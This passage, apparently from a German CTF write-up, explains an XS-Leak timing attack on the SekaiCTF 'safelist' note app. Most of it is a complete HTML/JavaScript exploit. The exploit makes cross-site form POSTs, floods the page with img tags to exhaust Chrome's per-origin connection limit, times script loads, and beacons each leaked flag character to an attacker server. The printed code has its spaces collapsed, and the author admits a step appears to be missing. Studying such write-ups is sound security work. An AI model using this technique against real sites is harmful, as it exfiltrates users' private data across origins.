Der Angreifer wird eine Notiz mit so vielen <img-Tags laden, die /js/purify.js so oft wie möglich (mehr als 6, um den Ursprung zu blockieren).
Dann wird der Angreifer die Notiz mit dem Index 1 entfernen.
Dann wird der Angreifer [den Bot die Seite aufrufen lassen mit der verbleibenden Notiz] und wird eine Anfrage an victim.com/js/purify.js senden, die er zeitlich erfassen wird.
Wenn die Zeit größer ist, war die Injektion in der übrig gebliebenen Notiz, wenn die Zeit geringer ist, war die Flag dort.
Um ehrlich zu sein, beim Lesen des Skripts habe ich einen Teil vermisst, wo der Angreifer den Bot die Seite laden lässt, um die img-Tags auszulösen, ich sehe nichts dergleichen im Code.
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>